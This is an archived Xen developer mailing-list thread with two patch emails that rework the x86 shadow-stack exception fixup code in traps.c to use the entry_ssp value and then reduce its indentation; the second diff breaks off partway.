Received: by outflank-mailman (output) from mailman id 1371545.1619045; Mon, 27 Jul 2026 10:27:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIY6-0001Gl-RC; Mon, 27 Jul 2026 10:27:06 +0000
Received: by outflank-mailman (input) for mailman id 1371545;
 Mon, 27 Jul 2026 10:27:05 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woIY5-0001FI-51
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 10:27:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woIY4-000tj7-Hv
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:27:04 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a673277-5cb7-0a2a0a5109dd-0a2a4509e17c-10
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:27:04 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a673278-be1a-0a2a45090019-d155802ce90d-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:27:04 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-4955de8797cso15396365e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 03:27:04 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496b499cc49sm239774435e9.9.2026.07.27.03.27.03
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 03:27:03 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785148024; x=1785752824; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=MgcXWj5vqnP+4zvYUktX5k7TuUXNjhHYEeS80l/cLOs=;
        b=afG9qVNUStF4s0dDBTtkepAZmquBZfkIiyl9tusYIPnkQs5zjffWVLnp/e7jhKZpJT
         4bae1XomRmPuKyXpcbt8w1m/7ql1Blo9pdbnY6h9pycAAjvsiPyBaOzjOjWOV+YWVY4O
         ieZd4rBdOOZ8mylrgvTAZQyAJO/JcGe110QmmfL0GTRxfx2qrwie1X+YWP/TTcqoD6q2
         tntmRjQcyLh+wV+c5dH1VsEXhe7Kj7X4jy7bfTJ/VGOdRabboHTPL4af+hNEYaD8j67z
         wx0zmhfCKlXQ5DEWTy3k5MdybnMMLPUgwLxqWZQdnZ39QwNCLVR9YH9gNeKoXEak8Bxh
         4tFg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785148024; x=1785752824;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=MgcXWj5vqnP+4zvYUktX5k7TuUXNjhHYEeS80l/cLOs=;
        b=pVEw5r5uTsFjdwnQw0WKoAE66cn+sfveprML+1Aws4TpsyGpUsYMlAlUOdWbQ4casJ
         3KcwUgGYljK21GW6V1ncat/vp49zvcU4yrUWXRXfMYF9MEOWVsyGFI5pQruWVDdxFqan
         ODczxyr+Gic6HLiJx8HVTvi0ubDzIeaidkAuJYG8YovCTzLeLSApnybhEHyUkmZPTBQJ
         fRPIjNRlHdBF0Vg07zBuJh/4M3x6vW1v87a33wcKirIPlO133FU+WdE089S+HFMMKEJV
         LLCiF1sIwMpFz+PppGktSRCJESQ2npzSOqwMdzELF+HbsDIAsuvinFVTsPRg1a9Zowv1
         fnZw==
X-Gm-Message-State: AOJu0YxubXqt4NovywVnxdFjGmmASGHWRxVaOd8Nl6LrOwSk3pANCML8
	9kIA70KuAxYM0vBsx06Wi1P9ZlJ2iGMLf6DBhXVe9s6EqW5f7Qpjitov+eFv99CtehaBzOvSy9+
	byDEGAg==
X-Gm-Gg: AR+sD102XxdqgWEPZnqNsx+CDqUOCYWFhevaJN6FC9UX3oYK4ptxcz3DrR9HoVMOY98
	qZ4qH9OXeTEdHQB8zBkLDxiYLI5n3fHLbOLILDPl2GEL84bfIgZIGjmM40uHx9HZwV8uWQ6G1VF
	dvCntbiASnq249tSDU2kV1MXAMU0c+iilRtghT5QZ7C2gLfirScM5kAa4ttCDy6QPwdrHExImUX
	zJVcdeQ4JtGIzsd6T0r/NQT6JfhevWcoBNZfFlwrK8IZCTwFyWm0XAyJHOzhiAXUbvVHxfJIPcz
	KBe3vud7ERmjhUvvfmTPcgN6KVIihv0OH1ZSZxkyL8ZWRPP3PDhIGa4lAiAHT0R9OlyKLfRn7WR
	BefgCaWzCpzzusZq4DLq7MmPeBMrnSmWwWfasWUMhDsMdS1/E+W4Bh2zA74cKIIJZZ3mP10BPz6
	DmHGkz3RtZ/Bv1TXWlgoLQtDIUaarKolozywKNJ3PimjyxZQWiuMeM+uPgy0KnC7WtE5MQhV7rR
	36C
X-Received: by 2002:a05:600c:1392:b0:493:e79e:da98 with SMTP id 5b1f17b1804b1-496bd6d22fdmr53277045e9.39.1785148023951;
        Mon, 27 Jul 2026 03:27:03 -0700 (PDT)
Message-ID: <96f66873-5c50-4044-93f9-bcd3de717656@suse.com>
Date: Mon, 27 Jul 2026 12:27:02 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v4 2/4] x86/traps: use entry_ssp in fixup_exception_return()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
References: <f6dd91c2-f43a-4c9a-89f3-a42c8b954959@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <f6dd91c2-f43a-4c9a-89f3-a42c8b954959@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1785148024-FC610034-78C03261/0/0
X-purgate-type: clean
X-purgate-size: 5932

With the value recorded on entry there's no need anymore to go hunt for
the respective exception frame on the shadow stack. By deriving "ptr"
from that field (without any offset), it then ends up pointing one slot
lower than before. Therefore all array indexes need incrementing, nicely
doing away with all the negative ones.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
Reviewed-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
Indentation of the prior inner (but not innermost) if()'s body is
deliberately left untouched, to aid review. It'll be adjusted in a
separate follow-on patch.
---
v3: Relax the first BUG_ON().
v2: IS_ENABLED() -> #ifdef. Re-base.

--- a/xen/arch/x86/traps.c
+++ b/xen/arch/x86/traps.c
@@ -690,19 +690,6 @@ unsigned long get_stack_trace_bottom(uns
     }
 }
 
-static unsigned long get_shstk_bottom(unsigned long sp)
-{
-    /* SAF-11-safe */
-    switch ( get_stack_page(sp) )
-    {
-#ifdef CONFIG_XEN_SHSTK
-    case 0:  return ROUNDUP(sp, IST_SHSTK_SIZE) - sizeof(unsigned long);
-    case 5:  return ROUNDUP(sp, PAGE_SIZE)      - sizeof(unsigned long);
-#endif
-    default: return sp - sizeof(unsigned long);
-    }
-}
-
 unsigned long get_stack_dump_bottom(unsigned long sp)
 {
     switch ( get_stack_page(sp) )
@@ -1187,26 +1174,29 @@ void asmlinkage noreturn do_unhandled_tr
 static void fixup_exception_return(struct cpu_user_regs *regs,
                                    unsigned long fixup, unsigned long stub_ra)
 {
-    if ( IS_ENABLED(CONFIG_XEN_SHSTK) )
+#ifdef CONFIG_XEN_SHSTK
     {
-        unsigned long ssp, *ptr, *base;
+        unsigned long ssp = rdssp();
 
-        if ( (ssp = rdssp()) == SSP_NO_SHSTK )
-            goto shstk_done;
+        if ( ssp != SSP_NO_SHSTK )
+        {
+            unsigned long *ptr = _p(regs->entry_ssp);
+            unsigned long primary_shstk =
+                (ssp & ~(STACK_SIZE - 1)) +
+                (PRIMARY_SHSTK_SLOT + 1) * PAGE_SIZE - 8;
 
-        ptr = _p(ssp);
-        base = _p(get_shstk_bottom(ssp));
+            BUG_ON((regs->entry_ssp ^ primary_shstk) >>
+                   (PAGE_SHIFT + STACK_ORDER));
 
-        for ( ; ptr < base; ++ptr )
-        {
             /*
-             * Search for %rip.  The shstk currently looks like this:
+             * The shstk currently looks like this:
              *
              *   tok  [Supervisor token, == &tok | BUSY, only with FRED inactive]
              *   ...  [Pointed to by SSP for most exceptions, empty in IST cases]
              *   %cs  [== regs->cs]
              *   %rip [== regs->rip]
-             *   SSP  [Likely points to 3 slots higher, above %cs]
+             *   SSP  [Pointed to by entry_ssp; Likely points to 3 slots
+             *         higher, above %cs]
              *   ...  [call tree to this function, likely 2/3 slots]
              *
              * and we want to overwrite %rip with fixup.  There are two
@@ -1219,13 +1209,10 @@ static void fixup_exception_return(struc
              *
              * Check for both regs->rip and regs->cs matching.
              */
-            if ( ptr[0] == regs->rip && ptr[1] == regs->cs )
-            {
-                unsigned long primary_shstk =
-                    (ssp & ~(STACK_SIZE - 1)) +
-                    (PRIMARY_SHSTK_SLOT + 1) * PAGE_SIZE - 8;
+            BUG_ON(ptr[1] != regs->rip || ptr[2] != regs->cs);
 
-                wrss(fixup, ptr);
+            {
+                wrss(fixup, &ptr[1]);
 
                 if ( !stub_ra )
                     goto shstk_done;
@@ -1242,7 +1229,7 @@ static void fixup_exception_return(struc
                  * - if we're on an IST stack, we need to increment the
                  *   original SSP.
                  */
-                BUG_ON((ptr[-1] ^ primary_shstk) >> PAGE_SHIFT);
+                BUG_ON((ptr[0] ^ primary_shstk) >> PAGE_SHIFT);
 
                 if ( (ssp ^ primary_shstk) >> PAGE_SHIFT )
                 {
@@ -1251,39 +1238,30 @@ static void fixup_exception_return(struc
                      * addresses actually match.  Then increment the interrupted
                      * context's SSP.
                      */
-                    BUG_ON(stub_ra != *(unsigned long*)ptr[-1]);
-                    wrss(ptr[-1] + 8, &ptr[-1]);
+                    BUG_ON(stub_ra != *(unsigned long*)ptr[0]);
+                    wrss(ptr[0] + 8, &ptr[0]);
                     goto shstk_done;
                 }
 
                 /* Make sure the two return addresses actually match. */
-                BUG_ON(stub_ra != ptr[2]);
+                BUG_ON(stub_ra != ptr[3]);
 
                 /* Move exception frame, updating SSP there. */
-                wrss(ptr[1], &ptr[2]); /* %cs */
-                wrss(ptr[0], &ptr[1]); /* %rip */
-                wrss(ptr[-1] + 8, &ptr[0]); /* SSP */
+                wrss(ptr[2], &ptr[3]); /* %cs */
+                wrss(ptr[1], &ptr[2]); /* %rip */
+                wrss(ptr[0] + 8, &ptr[1]); /* SSP */
 
                 /* Move all newer entries. */
-                while ( --ptr != _p(ssp) )
-                    wrss(ptr[-1], &ptr[0]);
+                while ( ptr-- != _p(ssp) )
+                    wrss(ptr[0], &ptr[1]);
 
                 /* Finally account for our own stack having shifted up. */
                 asm volatile ( "incsspd %0" :: "r" (2) );
-
-                goto shstk_done;
             }
         }
-
-        /*
-         * We failed to locate and fix up the shadow IRET frame.  This could
-         * be due to shadow stack corruption, or bad logic above.  We cannot
-         * continue executing the interrupted context.
-         */
-        BUG();
-
     }
  shstk_done:
+#endif /* CONFIG_XEN_SHSTK */
 
     /* Fixup the regular stack. */
     regs->rip = fixup;



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 10:27:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 10:27:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371551.1619055 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIYM-0001ea-8Z; Mon, 27 Jul 2026 10:27:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371551.1619055; Mon, 27 Jul 2026 10:27:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIYM-0001eT-5s; Mon, 27 Jul 2026 10:27:22 +0000
Received: by outflank-mailman (input) for mailman id 1371551;
 Mon, 27 Jul 2026 10:27:20 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woIYK-0001dv-KV
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 10:27:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woIYK-00GveR-18
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:27:20 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a673282-e002-0a2a0a5209dd-0a2a450c89b0-12
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:27:20 +0200
Received: from [209.85.221.49] (helo=mail-wr1-f49.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a673287-f479-0a2a450c0019-d155dd31c516-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:27:19 +0200
Received: by mail-wr1-f49.google.com with SMTP id
 ffacd0b85a97d-47640541585so1572009f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 03:27:19 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85bb5a46sm46860374f8f.9.2026.07.27.03.27.18
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 03:27:19 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785148039; x=1785752839; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=AqSjmcCLXigH7zyg0H7IqSqKdhTEi7QtkMIfRzneltA=;
        b=gOG9lr80GHfvCbOVLhoUNysTGWWBI1IX4mU0qBvJImtRGuf9EtWtJjw/W985QRgEtI
         d3DGEwEcDlZu6pDhdLIDzmYP+ptBFbedizAWPsdaQjuQPPTryASXYT++iPsq/QEJnF3q
         y0VoMtICgoyNwmAoKXFQPGWvjYr7uXM6ayg3k6hwLB9yr9fi/TxyNdYg3WkDDKycpHqK
         8RZuIYzBXw51VEOFFHcAiNJjyhpK5zwbU921pJ8Juf+YfQBuP379TFULghZox5Ju5uNE
         Xf7iP5s3ZThuDZi37eYUk6eDf5ni6tnzO1qHZQ/FhRU0JeR6KC3AqLLaspLYlicUUg4H
         KLDA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785148039; x=1785752839;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=AqSjmcCLXigH7zyg0H7IqSqKdhTEi7QtkMIfRzneltA=;
        b=gj+GUGPIBH+VPXd7bTsmWHPEoiCcrDLNWeGuIhmpH+vGyGCzLioZZDLkNKOFr5SxxB
         rLTBoV8OJtTV5gkRnIRYQhHyni4CwBTFuWTBg7w9EOBR3w8epFmEY/uE28H9yBt4sTjh
         ETnFrsCaFDXiQutoG8VAH1n5p81jq1fgJ47XUAZfI2lM8ByELDj35osnY/7a6iWbkIDA
         SvyCUkKxs61W5+gaRPnXj2obcdmxMnhxRW7Zr0OftASIeCM5gzkQxANL4sGNip8tw1mz
         CsaDM7W3s+yecru0bIHuXTGCK1v9TYp4VsrI/jaHS+npM/mElN9kc/MIq4IS7BIgCZjb
         vb/g==
X-Gm-Message-State: AOJu0YyxT1CgEwjv9y9Lq3xuEKAU9QexT9gT2x01YlBIvtGhFVy5GiiV
	QHDgnXi8gZirLjg672Z0Ulgx0yaAUUx517BH28jASYUqXD5NGHUgDiDOr1YdnByWUncGBno4Rq3
	mbdbIFQ==
X-Gm-Gg: AR+sD11C1QBCq8ZYb5gLQhJZOxTAdSyib+MrCXGYbQ3k6P9HvfPUZKpYIrbYjZOADDN
	Djq1KkKYXupaRXiZZ0yLG0DBuUN4GadoBsf6nuWxaikUkdW/E86l3RDiQVaoLCwnvFw2J1BbbJU
	8QKUbko9dB4Tqdh8HmDBBpuxcpEDAnojWid++fCzPnXS2Q/hiSvgVew79IBMI3PlFUUXS9M+J4t
	/uSDAa61Qdt9nCcZsO2KauVjOmVL70C1tIY0CsBQhe6ibLFI6QB5aICeJPhtn9AyQJTaTVDk1gJ
	gP6VYQB2O32Nscd0ELNkrud2KDEP2DvdhSUgH81oMhKrCmYoOgbTgn0W+IH965EEaSOzF+CYsKD
	SpN5yVRcMH/WmckS2K2oG9bCGLnBPr01kJcGjA54RP3z4YzYnanVNiv7wevLq4li33X930REJGA
	u0UamGE3B/DOYnb5Ut2eQ92GrY7cK9OFE0KaD9LTHnFdrn6XnKKqVWZVIC8P6TuPtdIgk8RGHbG
	Wfn
X-Received: by 2002:a05:6000:1a86:b0:47f:97a4:f121 with SMTP id ffacd0b85a97d-47f9feb5316mr9148793f8f.30.1785148039425;
        Mon, 27 Jul 2026 03:27:19 -0700 (PDT)
Message-ID: <dd38f7cd-a823-4569-b5f1-7358ae6325fd@suse.com>
Date: Mon, 27 Jul 2026 12:27:18 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v4 3/4] x86/traps: reduce indentation in
 fixup_exception_return()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
References: <f6dd91c2-f43a-4c9a-89f3-a42c8b954959@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2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034/1785148039-012C8A5B-52362AE6/0/0
X-purgate-type: clean
X-purgate-size: 7408

The earlier "x86/traps: use entry_ssp in fixup_exception_return()" left
unnecessary scopes and hence unnecessarily deep indentation. While that
was intentional (to improve readabilirty of the diff), rectify this now.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
v4: New.

--- a/xen/arch/x86/traps.c
+++ b/xen/arch/x86/traps.c
@@ -1175,90 +1175,86 @@ static void fixup_exception_return(struc
                                    unsigned long fixup, unsigned long stub_ra)
 {
 #ifdef CONFIG_XEN_SHSTK
+    unsigned long ssp = rdssp();
+
+    if ( ssp != SSP_NO_SHSTK )
     {
-        unsigned long ssp = rdssp();
+        unsigned long *ptr = _p(regs->entry_ssp);
+        unsigned long primary_shstk =
+            (ssp & ~(STACK_SIZE - 1)) +
+            (PRIMARY_SHSTK_SLOT + 1) * PAGE_SIZE - 8;
+
+        BUG_ON((regs->entry_ssp ^ primary_shstk) >>
+               (PAGE_SHIFT + STACK_ORDER));
+
+        /*
+         * The shstk currently looks like this:
+         *
+         *   tok  [Supervisor token, == &tok | BUSY, only with FRED inactive]
+         *   ...  [Pointed to by SSP for most exceptions, empty in IST cases]
+         *   %cs  [== regs->cs]
+         *   %rip [== regs->rip]
+         *   SSP  [Pointed to by entry_ssp; Likely points to 3 slots
+         *         higher, above %cs]
+         *   ...  [call tree to this function, likely 2/3 slots]
+         *
+         * and we want to overwrite %rip with fixup.  There are two
+         * complications:
+         *   1) We cant depend on SSP values, because they won't differ by
+         *      3 slots if the exception is taken on an IST stack.
+         *   2) There are synthetic (unrealistic but not impossible)
+         *      scenarios where %rip can end up in the call tree to this
+         *      function, so we can't check against regs->rip alone.
+         *
+         * Check for both regs->rip and regs->cs matching.
+         */
+        BUG_ON(ptr[1] != regs->rip || ptr[2] != regs->cs);
+
+        wrss(fixup, &ptr[1]);
+
+        if ( !stub_ra )
+            goto shstk_done;
+
+        /*
+         * Stub recovery ought to happen only when the outer context
+         * was on the main shadow stack.  We need to also "pop" the
+         * stub's return address from the interrupted context's shadow
+         * stack.  That is,
+         * - if we're still on the main stack, we need to move the
+         *   entire stack (up to and including the exception frame)
+         *   up by one slot, incrementing the original SSP in the
+         *   exception frame,
+         * - if we're on an IST stack, we need to increment the
+         *   original SSP.
+         */
+        BUG_ON((ptr[0] ^ primary_shstk) >> PAGE_SHIFT);
 
-        if ( ssp != SSP_NO_SHSTK )
+        if ( (ssp ^ primary_shstk) >> PAGE_SHIFT )
         {
-            unsigned long *ptr = _p(regs->entry_ssp);
-            unsigned long primary_shstk =
-                (ssp & ~(STACK_SIZE - 1)) +
-                (PRIMARY_SHSTK_SLOT + 1) * PAGE_SIZE - 8;
-
-            BUG_ON((regs->entry_ssp ^ primary_shstk) >>
-                   (PAGE_SHIFT + STACK_ORDER));
-
             /*
-             * The shstk currently looks like this:
-             *
-             *   tok  [Supervisor token, == &tok | BUSY, only with FRED inactive]
-             *   ...  [Pointed to by SSP for most exceptions, empty in IST cases]
-             *   %cs  [== regs->cs]
-             *   %rip [== regs->rip]
-             *   SSP  [Pointed to by entry_ssp; Likely points to 3 slots
-             *         higher, above %cs]
-             *   ...  [call tree to this function, likely 2/3 slots]
-             *
-             * and we want to overwrite %rip with fixup.  There are two
-             * complications:
-             *   1) We cant depend on SSP values, because they won't differ by
-             *      3 slots if the exception is taken on an IST stack.
-             *   2) There are synthetic (unrealistic but not impossible)
-             *      scenarios where %rip can end up in the call tree to this
-             *      function, so we can't check against regs->rip alone.
-             *
-             * Check for both regs->rip and regs->cs matching.
+             * We're on an IST stack.  First make sure the two return
+             * addresses actually match.  Then increment the interrupted
+             * context's SSP.
              */
-            BUG_ON(ptr[1] != regs->rip || ptr[2] != regs->cs);
+            BUG_ON(stub_ra != *(unsigned long*)ptr[0]);
+            wrss(ptr[0] + 8, &ptr[0]);
+            goto shstk_done;
+        }
 
-            {
-                wrss(fixup, &ptr[1]);
+        /* Make sure the two return addresses actually match. */
+        BUG_ON(stub_ra != ptr[3]);
 
-                if ( !stub_ra )
-                    goto shstk_done;
+        /* Move exception frame, updating SSP there. */
+        wrss(ptr[2], &ptr[3]); /* %cs */
+        wrss(ptr[1], &ptr[2]); /* %rip */
+        wrss(ptr[0] + 8, &ptr[1]); /* SSP */
+
+        /* Move all newer entries. */
+        while ( ptr-- != _p(ssp) )
+            wrss(ptr[0], &ptr[1]);
 
-                /*
-                 * Stub recovery ought to happen only when the outer context
-                 * was on the main shadow stack.  We need to also "pop" the
-                 * stub's return address from the interrupted context's shadow
-                 * stack.  That is,
